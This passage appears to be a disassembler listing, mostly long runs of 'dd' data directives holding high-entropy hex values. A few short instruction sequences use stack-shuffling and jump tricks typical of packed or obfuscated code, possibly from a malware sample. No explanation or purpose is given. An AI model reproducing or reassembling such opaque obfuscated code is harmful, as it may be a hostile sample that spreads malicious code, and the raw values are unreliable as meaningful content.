		dd 0A817514Dh, 7AC550BAh, 0F3DB8268h, 0D75D1BF2h, 0CC45EE49h
		dd 0F15A3361h, 3361CC50h, 0B5336C46h, 61CCE102h, 2F1BF733h
		dd 0F30CE255h, 30AA381Fh, 0EA7073CFh, 87E1648Eh, 79Dh
		dd 69A44E1Fh, 47D2382Eh, 0B401EBF8h, 0F835DB89h, 2865B35Dh
		dd 91B33C91h, 9C43CA47h, 75182772h, 3B2F16A3h, 50DE44D1h
		dd 61DB4AE7h, 69295C33h, 3C6D875Bh, 23BD191h, 21F3010Dh
		dd 0A15EEB01h, 0F0FEA40Ah, 19D49h, 8A7AC900h, 0B59C32D0h
		dd 7EC59F82h, 73D8866Ch, 2B58F36Bh, 3D35CCBDh, 2A9BE9C5h
		dd 6F7EC79Bh, 0AE6D881h, 0FF16D7BFh, 930CC671h,	13E33EB2h
		dd 0BAFC2A9Eh, 8CCABA1Ah, 0CBB4C0DAh, 4DA51A68h, 1F50FD1Ch
		dd 412F336Ah, 995677CDh, 0E3AC8D66h, 8B7716C0h,	5FDB29F9h
		dd 0F658C1A4h, 6BE3h, 16D67D00h, 7AD66AF8h, 0E9365BFCh
		dd 0B03835CCh, 0CCE9EA07h, 2A06FC35h, 0D431AC58h, 0D819218Ah
		dd 860C3EB2h, 6AD9BCD5h, 3A48A233h, 64932985h, 6480CFDh
		dd 77FD732Ah, 6A66AFC4h, 3E59B133h, 0B3C12Fh, 336A66E7h
		dd 26A2D098h, 0F6582B8Bh, 0CACAh, 133D9A00h, 8BCED5C1h
		dd 391556FBh, 264BEC00h, 0C8336A96h, 0D46CE6D2h, 3C6D875Bh
		dd 0E04BEF91h, 35CCE943h, 0D8817D55h, 85382F94h, 0A0124BA1h
		dd 5111BEB4h, 9F4382BBh, 973C3875h, 940E3FD1h, 63CE7DDEh
		dd 0EEFC35CCh, 0CC98904h, 0F2C477F1h, 843EB436h, 0F99B402Eh
		dd 0C89A412Fh, 0CD877B22h, 2E54A8B4h, 0FF6302B9h, 94B8075Dh
		dd 1647DD42h, 0E99C9594h, 6288Fh, 2FC5E200h, 59B3AB92h
		dd 8A6041CCh, 0BE50103Fh, 0EE382463h, 3AB50853h, 0CA75C016h
		dd 9DB8F51Bh, 0AEE924F2h, 5BDB56BCh, 0DAC162D5h, 0B4D73361h
		dd 6FB95BEEh, 0FEED4AD2h, 0CA756910h, 6B57F61Ch, 52B8AA19h
		dd 5B8AF14h, 219DCC1Ah,	0B2580A35h, 5B55E1A0h, 9806987h
		dd 7EC396EEh, 0B6B4DB82h, 0DDB55F0Fh, 3E2EF4E8h, 0EF3A16F0h
		dd 3389h, 875BD100h, 0D1913C6Dh, 0BA967868h, 0FF151D83h
		dd 0BCD5860Ch, 0A235CCE9h, 3D735B4Ch, 8F7B8AF9h, 769C4EF5h
		dd 1AC13D3Bh, 12D74B1h,	2C2F8DC7h, 73000000h, 3C6D875Bh
		dd 0CCE9719Dh, 82F0A035h, 0F68A9D71h, 7D84F74Ch, 608A58E7h
		dd 0D1BB4BD5h, 254EE9ABh, 0CB35CC2Fh, 0DE80E7DFh, 5BA0E072h
		dd 0F3036D87h, 0CC05F767h, 79ACA660h, 0BFB95491h, 0BBBCBA1Ch
		dd 98C63C3Eh, 9BC52F33h, 0A5C42E3Ch, 2F162B39h,	22A8D13Bh
		dd 0AB0C6AA3h, 38165A20h, 62B45807h, 33445D72h,	344E8A14h
		dd 9E45239Fh, 987274CDh, 7301FDACh, 8E6446EDh, 0CE561433h
		dd 96A4C46Dh, 0F0EA38h,	9074D77Ch
		dd 31684445h, 0BC5610BFh, 359F5EA6h, 35DF8F0Ah,	8FBEAA14h
		dd 9E392713h, 33E87810h, 1BFB6C46h, 8C883D2Fh, 4D37FF9h
		dd 90550000h, 46602F7Ah, 353611ACh, 0E5FB42DFh,	0ED97BE0Bh
		dd 25BEE3Bh, 801DCBF5h,	0FD48A685h, 2C79AF52h, 1EAB4161h
		dd 842D8E10h, 0AA3361DCh, 875B237Fh, 0B854D06Dh, 18F02080h
		dd 9B6CC19h, 7B8AB359h,	0B1DC8D67h, 0EC235AB0h,	0FB7514FEh
		dd 0CCD03350h, 0ACCD2535h, 38911062h, 1CCE1C76h, 20C368F6h
		dd 196B57F6h, 9D70AB58h, 5B4FF0FEh, 21000000h, 2445ABBAh
		dd 1CE8A8BAh, 0BC3A24E1h, 83BA6C17h, 80F2451Fh,	273EB238h
		dd 8235A9B8h, 336AA661h, 0C1AF9B77h, 6AA6FD16h,	7DF7E333h
		dd 482ECC6h, 6AA63E53h,	0B8CA2033h, 34E28D2Ah, 0A63352F9h
		dd 3131336Ah, 0DCC74EDBh, 1215530Ah, 9F000004h,	0A60DA611h
		dd 0A713336Ah, 875B95ADh, 0D1913C6Dh, 0F886EE3Bh, 2A618B53h
		dd 35CCE9B9h, 0D52133AFh, 0D873FD18h, 3EB2C70Ah, 2947E6DCh
		dd 374DA382h, 6AF66B84h, 901E1433h, 6AF68A27h, 0E3549C33h
		dd 336AF64Eh, 0C18E7A50h, 6D5108DEh, 3DB9CB17h,	0F658B786h
		dd 7AC6DC30h, 64596CAAh, 2E75EEh, 1C3D0000h, 913A24E1h
		dd 3EB2D8E9h, 0BB4B158Dh, 96374C39h, 0BBAC8DCh,	84527EE5h
		dd 6D204DCEh, 935F336Ah, 20CEE561h, 0EE8DF658h,	35000000h
		dd 3C6D875Bh, 3F39EF91h, 0D3CD690h, 0CF64D791h,	0D135CCE9h
		dd 8B3A6BF9h, 0E03B39D7h, 6A1EF835h, 0A280CF7Eh, 5F5EFD48h
		dd 2C35CC5Eh, 136F3DD0h, 0AEA434AAh, 1EAB4161h,	0A0D93337h
		dd 1452AB2Ah, 0C2FF768Eh, 17EC1D15h, 5634FA5Dh,	68423EB2h
		dd 62D553DDh, 336A46C1h, 54BEA8D7h, 0E3E2EA78h,	15EB4C2Ah
		dd 883812E0h, 0B7D60023h, 86A74918h, 9546201Ch,	3883BD7Ch
		dd 45FA8862h, 0B8A4036Dh, 0EE55D36Eh, 0F75C16FCh, 0FCDE1FCDh
		dd 0DB0589D4h, 989E78EFh, 70158EEEh, 2E4F4h, 6B81A600h
		dd 9D7777DEh, 0CE240500h, 0FA14D473h, 2AFCE0AFh, 0C6F14C9Fh
		dd 96B10CDAh, 0A1EC39D7h, 72DD68BEh, 270F9A70h,	0DF953E99h
		dd 609B3361h, 6FB95BD2h, 0CE776BD2h, 8B06F218h,	0C82606ADh
		dd 82687E91h, 6D0BE7DBh, 0CCE959CAh, 1534F35h, 0CDD7A41h
		dd 95B47E6h, 5B0500FDh,	0B2D8CAF0h, 57F6EC3Eh, 8B389319h
		dd 9D336AC6h, 43EC2F25h, 45336AC6h, 0B1DC8D5Bh,	0ED235AB0h
		dd 293DEF25h, 4C389AC3h, 0C044BE7Ah, 0F6588B29h, 0CB68h
		dd 8A7A2A00h, 542DF13Fh, 0BF045E37h, 0EF2741ABh, 122069Fh
		dd 0BF91FBEBh, 69A4095Bh, 0A9E89147h, 35CC6952h, 6DB85210h
		dd 6B85A403h, 52B8AA19h, 0EF22A32Bh, 289115BBh,	79AF5125h
		dd 64D7918Dh, 3EB288B2h, 769C4EF5h, 3A99EBD7h, 302240C4h
		dd 0FAD6DF3Eh, 544DC1AFh, 986D1A96h, 0A421ADA7h, 0F7AC0F69h
		dd 993812F5h, 0F4984721h, 84A89722h, 6119ED52h,	0DB6A8EEEh
		dd 1D89Dh, 7F955200h, 0A9431B22h, 0DA30311Ch, 0EE0C04Fh
		dd 3EE894B3h, 0EA0558E3h, 0BA8510C6h, 4DC845ABh, 1E3974A2h
		dd 0B6BA64Ch, 0D1B1D285h, 4A73361h, 6FB95B3Eh, 6BCC4AD2h
		dd 35CCE9C6h, 0D360F2E8h, 0DC7BE50Fh, 58BAE30Dh, 98C12B3Fh
		dd 0D9152C26h, 3C6D875Bh, 60812AB0h, 6635CCE9h,	50FFA846h
		dd 0D0C27BADh, 6B855BE4h, 0DB2C032h, 0D37AB75Dh, 8F24970Fh
		dd 9135CCE9h, 0A5731E39h, 7F2E1A84h, 0B1BF5697h, 990AAD2Bh
		dd 8F35CCE9h, 60FE4113h, 763EB2F9h, 0BFA2ED9Ch,	0CD9D3069h
		dd 929E0627h, 5BA7E160h, 0DE7FB29h, 0FA13D2B0h,	0C56FDB7Ch
		dd 0F8073814h, 675B02D4h, 0AFB3D28Bh, 0F0B82445h, 3FD61782h
		dd 0E8B48631h, 0E0DA33FEh, 0E64DCB55h, 0C56E2DFBh, 0EB263E80h
		dd 0ADC671FFh, 0B3263E80h, 0A4860D47h, 319A204Eh, 263E8090h
		dd 0F7562C86h, 563B558h, 0C0BE0E09h, 0F45C10Fh,	58AA769Eh
		dd 0E732D88Ah, 3927DE1Fh, 40F0409Eh, 0AAB8272Dh, 0CBA77113h
		dd 0A3A36DDBh, 0D4AE9FF4h, 0ABDA837Fh, 0B05E0EB7h, 0AF6BA5C4h
		dd 0C26EA655h, 0AFA3969Bh, 568D9CF9h, 0D474EE7Eh, 54B9CE63h
		dd 0EFAD02Fh, 0B04D8874h, 0A9D905B6h, 31AD242Ah, 70A765C9h
		dd 9D737103h, 9A78B5A1h, 13C4A25Bh, 1F8523E4h, 2669108Ah
		dd 0F453EE04h, 0D4521CF6h, 20FBCE63h, 68FAD012h, 0B2D286C5h
		dd 0B6B05810h, 0C1E22D5Ch, 0F938F32Fh, 0C5B134BBh, 52A068A4h
		dd 0C73DE5D3h, 1BBB5515h, 283551A6h, 0E608372Fh, 0B3B5C11Eh
		dd 45E24AC7h, 48F78D5Bh, 86C9709Ah, 0FF1148A6h,	4F13C133h
		dd 0A70C68A5h, 0CE306983h, 0B15B0FB4h, 136C88h,	2EE60000h
		dd 0DADC60F8h, 48085A56h, 0E10FDD7Ah, 0C20C46B8h, 68825BAEh
		dd 26CC9E31h, 0F325C807h, 0CA243B4Ah, 86507C93h, 5284A8E7h
		dd 2AC4E42Bh, 0E50FDC73h, 0B75D0944h, 9C68A496h, 89000060h
		dd 89572414h, 4C781E7h,	81000000h, 4EFh, 243C8700h, 2404895Ch
		dd 644B68h, 240C8900h, 2593BE56h, 815606ADh, 2569242Ch
		dd 5585984h, 59842569h,	4EC835Eh, 81242489h, 42404h, 52590000h
		dd 8BAh, 0F8C28100h, 10B236Ah, 0F8EA81CAh, 890B236Ah, 34FF5A02h
		dd 0C4815924h, 4, 582434FFh, 0E904C483h, 0FFF9432Fh, 0C9C01385h
		dd 57C16D3Fh, 0AD3A06B8h, 0FFC50306h, 5F38B2E0h, 0C559567Dh
		dd 0DF08B0Ah, 308F753Ah, 0FB502809h, 8C5FEE02h,	97CD8E60h
		dd 29F2D13Bh, 0DAC5C956h, 53EA1E78h, 0FCDD0E67h, 0F7F05337h
		dd 4D6A3838h, 9D53B206h, 3CAC565h, 9DA0C829h, 0A24DDC5Dh
		dd 0A554195Dh, 0E553B73Dh, 0BB51AF1Ah, 0AE18FE7Ch, 653E4D6Bh
		dd 0B0BEBE02h, 6BD76402h, 0ACF31629h, 0F6E55E5Bh, 0AE83Eh
		dd 919D0000h, 0C0C5FA55h, 6E42AF8Bh, 3860Fh, 0CE800000h
		dd 0C3815B6Bh, 592Dh, 0B9F8B866h, 8BC944BEh, 1DEE8100h
		dd 0F008BB3h, 189h, 33FFF500h, 8159D68Bh, 199605E9h, 81C38B15h
		dd 78BA92F1h, 7DE98141h, 8B7974D2h, 560B89C1h, 992DBF66h
		dd 3EB835Ah, 814BD08Bh,	94788FD0h, 1EE835Fh, 18850Fh, 0BA660000h
		dd 24E93957h, 1E000000h, 0E333A2E9h, 395C3247h,	0A2228744h
		dd 8166F47Eh, 0E90BD4C2h, 0FFFFFFA6h, 0AB48C309h, 314FB320h
		dd 0E9BC7E9Ah, 15Fh, 60D48B52h,	0E8h, 0ED815D00h, 6AD3B9Dh
		dd 3D08428Bh, 78263845h, 138850Fh, 428B0000h, 184A8B0Ch
		dd 0E1BBC8D3h, 333A840Fh, 4E883C3h, 6AD8589h, 588B06A6h
		dd 8BF88B04h, 4A8B1042h, 0BEC8D318h, 0AA7F800Eh, 0C72BC633h
		dd 83FCE083h, 858904E8h, 6A6040Dh, 8914428Bh, 0A60BE985h
		dd 18428B06h, 0B0E953h,	0B5FF0000h, 6A60861h, 0B9E9h, 19B5FF00h
		dd 0E906A60Bh, 0AEh, 0F49B5FFh,	0A3E906A6h, 0FF000000h
		dd 0A61165B5h, 98E906h,	0B5FF0000h, 6A62F1Dh, 8DE9h, 0A1B5FF00h
		dd 0E906A632h, 82h, 1E41B5FFh, 77E906A6h, 0FF000000h, 0A62DCDB5h
		dd 6CE906h, 0B5FF0000h,	6A62095h, 61E9h, 19B5FF00h, 0E906A61Dh
		dd 56h,	1155B5FFh, 4BE906A6h, 0FF000000h, 0A631F1B5h, 40E906h
		dd 0B5FF0000h, 6A60AF9h, 35E9h,	5DB5FF00h, 0E906A613h
		dd 2Ah,	1EEDB5FFh, 1FE906A6h, 0FF000000h, 0A615EDB5h, 14E906h
		dd 0D88B0000h, 0BB8h, 0E3F76600h, 3BFE8D8Dh, 0C80306ADh
		dd 95FFE1FFh, 6A61A79h,	0AD858B5Bh, 3906A606h, 850F0458h
		dd 0Fh,	0FF016A53h, 0A6295995h,	0E2E95B06h
		dd 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h, 8BE0FF77h,	0A61E9585h
		dd 0EC8D8D06h, 8906AD3Ch, 0C38B0141h, 3DE48D8Dh, 8D8906ADh
		dd 6A606ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	17C35242h, 0DE930DD4h, 0F781601Dh, 0EE96910h, 2ACD9589h
		dd 0E96106A6h, 0Bh, 539F8C5Dh, 41937E7Bh, 0C7412C6Ch, 0A6040D85h
		dd 704C06h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0F161D2D0h, 0E985C7AEh, 6A60Bh, 89000000h
		dd 0A601C19Dh, 0EDB5FF06h, 6A06A61Eh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 124DC355h
		dd 0D9D8986h, 8006A61Eh, 95FF82F6h, 6A61A79h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0BEC35040h, 0A9815F79h
		dd 0FF006AF5h, 0A6295995h, 0EBC08B06h, 3372774Bh, 77318233h
		dd 0D9C197EFh, 5F8797B5h, 5B1FDBCFh, 122C875Eh,	731E74CFh
		dd 70186DF4h, 7F6D2527h, 59ED8446h, 5D5DA15Fh, 0AFE7D4E1h
		dd 8B06B56Eh, 0D781C545h, 0EE2AE4D8h, 34EF1E78h, 139BBBC7h
		dd 0C941669Eh, 0BFB4C6AEh, 0CE8h, 0EEC8E700h, 0B5EC866Eh
		dd 0CF5B1ECCh, 59C28B27h, 0C723E6BEh, 60C18174h, 66000067h
		dd 0B7BFF08Bh, 810A1DF3h, 1DDA0DEFh, 51958B0Ah,	0FF06A61Ah
		dd 8D895B31h, 6A615C1h,	6941F381h, 0B58B12ACh, 6A60585h
		dd 0B2EEEB81h, 0E8812A04h, 27418274h, 0E6A5C381h, 0B58B0069h
		dd 6A60CE1h, 95291989h,	6A60B49h, 1644E981h, 0C1814107h
		dd 41071640h, 31F59D89h, 0F4F06A6h, 1685h, 0C6BF0F00h
		dd 38E9h, 821B3A00h, 2EB42709h,	213D3854h, 0E9831B81h
		dd 0Fh,	0D018CDD1h, 0E86BD79Ah,	354A59BEh, 0E9ED0968h
		dd 0FFFFFF83h, 0C27DF0ACh, 0FC6D9072h, 0A1282E00h, 7121CDD0h
		dd 33E9BCh, 0F3FD0000h,	5C28h, 0Bh dup(0)
		dd 429E900h, 1A680000h,	0E906AD40h, 0FFF93E6Fh,	0AD409968h
		dd 3E65E906h, 0A468FFF9h, 0E906AD41h, 0FFF93E5Bh, 6DB8520Bh
		dd 53EE0422h, 801DF7F4h, 0FC49A785h, 2C79AF51h,	8DB7409Dh
		dd 6047CE5Bh, 6914338Eh, 7DB62BFh, 4CD250EDh, 61D646EBh
		dd 653D6833h, 3E6FB95Bh, 0EC39D397h, 402EE7E6h,	0B2DA6F97h
		dd 0DA837F3Eh, 6AD80EA7h, 4BB97133h, 589514CFh,	28953F6h
		dd 7ADF0000h, 51E93B8Ah, 8BD9CA83h, 9847EB56h, 0CF0627C9h
		dd 6A54F51Fh, 0DD18E47Eh, 51954620h, 53EB2FFh, 6C3219ADh
		dd 5D36D519h, 50FB65A0h, 3AB9A5BAh, 921846BCh, 7D458839h
		dd 2E249E3Fh, 3FD617FFh, 882E8631h, 46BC3403h, 34359218h
		dd 2133AFDEh, 0EF3AD092h, 146C82A0h, 0F99304AAh, 786B9833h
		dd 857D249Bh, 274ABDA9h, 388AE617h, 291D315h, 64410000h
		dd 5214338Eh, 1226DB8h,	0F1F75EEBh, 99BB821Fh, 16B7F24Fh
		dd 9421F799h, 0D954BAA9h, 885537Eh, 7AB75D0Dh, 0A0C16AF4h
		dd 0B63361A9h, 0E11C0F13h, 0CC9D3A24h, 0C99B0726h, 2855F05Bh
		dd 0D5723EBBh, 4FFE14h,	86DCC822h, 8B7B129h, 2EB4B264h
		dd 61D6648Dh, 0F7900A33h, 374A18F2h, 8BB26408h,	61D6DC48h
		dd 570BFB33h, 7C553574h, 1CCE750Fh, 3C491F6h, 0CA7B9590h
		dd 21292h, 0FE5C200h, 39D38BB2h, 6A80A1ECh, 9E7070DFh
		dd 0CE180403h, 1A952873h, 2A15A076h, 0FD58D53Bh, 8E8904D2h
		dd 7BFB36DCh, 0A92142F5h, 94373361h, 24E11C8Eh,	2876913Ah
		dd 766C3EBBh, 0D61BB4D7h, 0E643361h, 3E6F85A1h,	10628EC4h
		dd 8B6544E3h, 7B92E0D2h, 0F6539740h, 13A1Fh, 875B8300h
		dd 0D1913C6Dh, 0E5E0EE3Bh, 0E5ED4E28h, 893EB2C7h, 0DDEA0B15h
		dd 0AF9B9099h, 90325BFEh, 0A54D336Ah, 0D130EB6Fh, 388FF658h
		dd 0E1000000h, 6B53F05Bh, 6945336Ah, 0E322732Ch, 0D3A19DB0h
		dd 24E11C9Fh, 6C17BC3Ah, 451F83BAh, 0B2D8C8F2h,	55F4EE3Eh
		dd 6AC69936h, 0B8CAE633h, 588B853Ch, 8DC4F6h, 5B4E0000h
		dd 913C6D87h, 903F39EFh, 81243ED0h, 0D7769C4Eh,	2640AAB8h
		dd 2647ADB9h, 8DEBA6BCh, 94EE0426h, 0CCEEE823h,	16FCEE35h
		dd 3FAFB9Bh, 490CF265h,	30AA3EB4h, 31E78936h, 61B759E4h
		dd 950147FEh, 33B5D895h, 107h, 8904EEFFh, 0E732D88Eh, 0D4618B58h
		dd 18957B69h, 48C5133Dh, 71139C31h, 3C236AA7h, 0D5F847D2h
		dd 0DB8FB603h, 0F07EE431h, 61A82A47h, 89893C33h, 0D26FB95Bh
		dd 1FCE776Bh, 0BD4B01F1h, 4BD89905h, 5B88C25Fh,	913C6D87h
		dd 0E0EE3BD1h, 0C04E28E5h, 0CCE9FA17h, 7CF6EC35h, 38FD45F6h
		dd 29813EB2h, 2AFCE04Fh, 0A613BC9Fh, 5515336Ah,	0AFA62BFh
		dd 2292997Eh, 0CB597E2Ch, 0B24E1Fh, 99736B14h, 8E5844CBh
		dd 7D99DFh, 1CC10000h, 0BC3A24E1h, 0E96C8536h, 446235CCh
		dd 5403FFAEh, 4453E47Eh, 2A3EBB28h, 6811FBE3h, 0ACE39A76h
		dd 7ED954BEh, 0FC16D56Ch, 6C11C95Fh, 0D38A6650h, 0CE75F3EFh
		dd 5648F11Fh, 206AA91Ch, 0F795FE23h, 570BD92Bh,	5214B3BDh
		dd 0A897AAB8h, 0E62950BAh, 0DF7128C6h, 6F73A1D3h, 6D7CDB85h
		dd 6AF8DA83h, 947A68D7h, 25067C12h, 75271F93h, 0E45E2B78h
		dd 0CB2D5C48h, 3, 5B821E9Fh, 9E316882h,	0C80726CCh, 3B4AF325h
		dd 7C93CA24h, 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh
		dd 0A496B75Dh, 81E38953h, 4C3h,	4BE5600h, 29000000h, 1C875EF3h
		dd 0E5685C24h, 89000073h, 0D068243Ch, 89000048h, 0BB53242Ch
		dd 6AD3F50h, 1C8BDF89h,	4C48124h, 83000000h, 248904ECh
		dd 24048124h, 4, 0BB53575Dh, 28F40D30h,	4245C31h, 8458F5Bh
		dd 30087581h, 8B28F40Dh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5527C7
; ---------------------------------------------------------------------------
		dw 21B1h
		dd 0B8F46A2Dh, 6AD42D0h, 0E0FFC503h, 30595B8h, 63172647h
		dd 1879F31h, 7AD9AE82h,	4FE64837h, 6198DFA1h, 29C7B9C5h
		dd 36350D65h, 21B7246Ch, 6E742DD0h, 5BC347EEh, 0C8385C6h
		dd 26C33FF4h, 65B643D6h, 2BAB9F64h, 11E8h, 49661600h, 59A42E84h
		dd 7AC70D40h, 0E80D1360h, 816694C0h, 5B9221D6h,	0F890Fh
		dd 9E80000h, 0B4000000h, 0E9C8E845h, 188692A4h,	9BC3815Eh
		dd 6600005Dh, 0B8B37CBEh, 11432282h, 0B4EE881h,	88B61143h
		dd 5FF933FFh, 5914B966h, 8184C781h, 0C78173BAh,	44AE7E3Bh
		dd 0AE9h, 68050C00h, 55BBE9B9h,	8124E06Ch, 92FBF1C7h, 0E8D0F56h
		dd 0E9000000h, 9, 0D63E1C11h, 0C446BFBEh, 0F3B8984h, 38Ah
		dd 0CAB70F00h, 6621EB81h, 0C9807B4Bh, 1DC38186h, 837B4B66h
		dd 850F01E8h, 14h, 0E9D68B66h, 24h, 0D98AD4AEh,	9DD7ECE8h
		dd 1A49445Bh, 3860Fh, 0C1800000h, 0FF7EE937h, 0EFC1FFFFh
		dd 5680EBB1h, 38278D89h, 45488D8Dh, 6A06ADh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0F018EDC3h
		dd 0B1B3A269h, 89833567h, 0A60DB985h, 99BD8B06h, 8906A615h
		dd 0A606AD8Dh, 11958B06h, 0C706A633h, 0A6040D85h, 6A4006h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0DE0E43A6h, 78D0Fh, 0B8510000h, 68744EE5h
		dd 0EFEE8158h, 0C7233288h, 0A60BE985h, 6, 4840F00h, 66000000h
		dd 0FF88E3B8h, 0A60AF9B5h, 5880F06h, 66000000h,	0ED29D681h
		dd 1A7995FFh, 6A06A6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 849999C3h, 0D9C78166h, 0FF006A2Ah
		dd 0A6295995h, 0EBC08B06h, 0EC368118h, 8A147985h, 3CAF2519h
		dd 0CC67C2B0h, 7BCDB2B0h, 9CE2E320h, 9E890h, 87A90000h
		dd 44B833B1h, 8B0858D4h, 85895FD8h, 6A61EA9h, 6E30C781h
		dd 81660000h, 683D66F0h, 1B63h,	0F85AC28Bh, 8B66378Bh
		dd 70EE81C6h, 814F53B2h, 10BC47C1h, 0D8EE814Dh,	66205C51h
		dd 0F681C78Bh, 49B3A667h, 1915BD29h, 805606A6h,	78F07C5h
		dd 2A02BB66h, 8104EF83h, 66B000D9h, 850F4A04h, 24h, 0ADB53360h
		dd 8906A62Dh, 0A60A4D95h, 2FE96106h, 6F000000h,	6951D095h
		dd 9FCEEC31h, 0B82BFE65h, 1840DE0Ch, 57B5F081h,	91E94CBCh
		dd 34FFFFFFh, 9976BCF4h, 0E16F68EBh, 0BC2E8C36h, 242BB70h
		dd 10E8811Ch, 29000000h, 0F61735E3h, 0A87A3F60h, 170C9F9Fh
		dd 51D0F647h, 28E18D8Bh, 585B06A6h, 8186F380h, 6E35C0h
		dd 898D2B00h, 2B06A61Dh, 958B60FFh, 6A630E5h, 61D78B66h
		dd 2938348Bh, 0A60BD9BDh, 30C68106h, 6670D520h,	81EBC7BBh
		dd 5A428BEEh, 81D38B27h, 0B045BFC6h, 498D8B7Ah,	8906A60Eh
		dd 0DD803834h, 81D38AD8h, 0C470B5EFh, 6CE2811Dh, 816F8A9Bh
		dd 0C470B1C7h, 0D1958B1Dh, 8106A61Bh, 0FF9288FFh, 14850FFFh
		dd 29000000h, 0A62F459Dh, 2EE906h, 48300000h, 6D92D50Eh
		dd 0F8ADEF6h, 682h, 9FF18100h, 0E903576Dh, 0FFFFFF88h
		dd 808ABD0h, 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh,	1DA05D6h
		dd 0BD83C08Bh, 6A61EA5h, 83097500h, 0A62F9DBDh,	19740006h
		dd 0C08B5350h, 421B8h, 0D1858900h, 8D06A62Ah, 0A8A56C9Dh
		dd 5BD3FF06h, 9DBD8358h, 6A62Fh, 53501774h, 421B8h, 0D1858900h
		dd 8D06A62Ah, 0A8A25B9Dh, 5BD3FF06h, 8BC08B58h,	0A61A959Dh
		dd 2985C606h, 5606A60Ch, 0A8B85268h, 19B5FF9Ch,	8D06A609h
		dd 0A9712085h, 6AD0FF06h, 10006804h, 0B5FF0000h, 6A62AB9h
		dd 0D0FF006Ah, 850FC085h, 0Dh, 0B8h, 268D8D00h,	0FF06A672h
		dd 8BC88BE1h, 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h
		dd 6A60525h, 0E840F00h,	8B000000h, 0A605259Dh, 3D858B06h
		dd 8906A605h, 8D525103h, 0A6439185h, 8BD0FF06h,	8BF18BFAh
		dd 0F3C88BD1h, 2985C6A4h, 5606A60Ch, 1F6D3968h,	19B5FFD4h
		dd 8D06A609h, 0A9712085h, 68D0FF06h, 8000h, 0FF52006Ah
		dd 83C08BD0h, 0A61EA5BDh, 9750006h, 2F9DBD83h, 740006A6h
		dd 8B535019h, 421B8C0h,	85890000h, 6A61BF9h, 0A5D39D8Dh
		dd 0D3FF06A8h, 0BD83585Bh, 6A62F9Dh, 50177400h,	421B853h
		dd 85890000h, 6A61BF9h,	0A2749D8Dh, 0D3FF06A8h,	0C08B585Bh
		dd 5259D8Dh, 38B06A6h, 840FC00Bh, 7, 5B8B038Bh,	0B8188904h
		dd 4B41h, 12E8h, 0F0172F00h, 68F091BEh,	74699AFAh, 0F11B980h
		dd 660C8437h, 16CBD981h, 0BB66605Ah, 8A0FB854h,	6, 8C0Fh
		dd 81610000h, 5BE6C2h, 4ABB6600h, 50FF335Ch, 59CE8B66h
		dd 0FC1734FFh, 0C9B4B958h, 0C081133Bh, 7EA5F09h, 8B29D4B9h
		dd 1AE88122h, 66428DAEh, 0BA3AC181h, 7037C081h,	0BB6629F2h
		dd 60503258h, 68F0Fh, 0F2810000h, 3B6E3DE7h, 8D0F52h, 5E000000h
		dd 3A048F61h, 0F08B0BB5h, 8104EF83h, 0FFA4D8FFh, 15850FFFh
		dd 66000000h, 0E951DABEh, 27h, 510DD204h, 39CE7E1Ch, 0C75E1BB6h
		dd 8DE9DF8Bh, 0A3FFFFFFh, 0D3F4691Ah, 5B45390Fh, 8682862Ch
		dd 5C8CAC88h, 0E9045273h, 2Ah, 4F1A042Eh, 9 dup(0)
		dd 35E90000h, 6C000005h, 3904917Bh, 0C34AC72Dh,	9EB9F41Eh
		dd 0AA9520CEh, 86C55086h, 32E48827h, 678958E7h,	9640632Ah
		dd 0C42E3C1Bh, 0F467E949h, 3361A05Fh, 40CE2641h, 61A07A97h
		dd 836D7C33h, 2C64FED4h, 3C6D875Bh, 0B03DEF91h,	1482E625h
		dd 0C0B8672h, 5B95B45Eh, 6504EEFCh, 86A4EB79h, 0D4923D6Ch
		dd 89910F3Eh, 0A902887Bh, 35CCD538h, 11BEB42Eh,	66EBB51h
		dd 1361B759h, 0DA5781ACh, 0F825073h, 5A91CD71h,	3EB6D7C3h
		dd 2514EC6h, 0D3A1C6C7h, 0D5937D6Ch, 0DD977D6Eh, 319E2468h
		dd 34AEDF35h, 7380F23Eh, 4CFD17D4h, 90B30052h, 0BE41846h
		dd 0A30BFDB7h, 8A668C5Ah, 0CC9EB9F8h, 0EC9D4B75h, 7DAB55F2h
		dd 0DB9D881h, 0D935CC63h, 8C27A3D1h, 0CBF0FE2Eh, 70h, 26911FA5h
		dd 35CC7F8Dh, 0FF142793h, 0E135CC7Fh, 5B277B09h, 0B03C6D87h
		dd 0E960812Ah, 9C7635CCh, 0E9DE75C6h, 640C35CCh, 4F05EFFFh
		dd 52A251A3h, 0FFB5C0B7h, 0A65F1509h, 0F0FE0E0Bh, 14Ah
		dd 835BC800h, 0C99D3069h, 15CB7A23h, 145242FBh,	2A5385AFh
		dd 8D7ACBCCh, 58340C5Eh, 5FACE60Ah, 9C4AF3F0h, 7BC89A76h
		dd 113C8963h, 0D46EBB51h, 113CB95Bh, 13B2EBC7h,	9BF8A14Bh
		dd 768E7D97h, 3FA1DDCBh, 0AA5D3514h, 49CB6C92h,	0E8943B49h
		dd 0E98B303Eh, 216C253Fh, 13B2EB01h, 3385A44Eh,	22890D07h
		dd 21F0FEDFh, 76h, 0F2A7C333h, 64C2C85h, 0B95B344Ch, 28B63E6Fh
		dd 0CCE9628Fh, 0C49E7435h, 59F26A7Fh, 35CCE928h, 0B1E8C43Eh
		dd 0C311634Fh, 0B2BAF721h, 0E96E8334h, 9A7035CCh, 8F597BC8h
		dd 5FB1B7DEh, 28C2E72Eh, 0E00EDE71h, 295B47B9h,	0A8DA96A8h
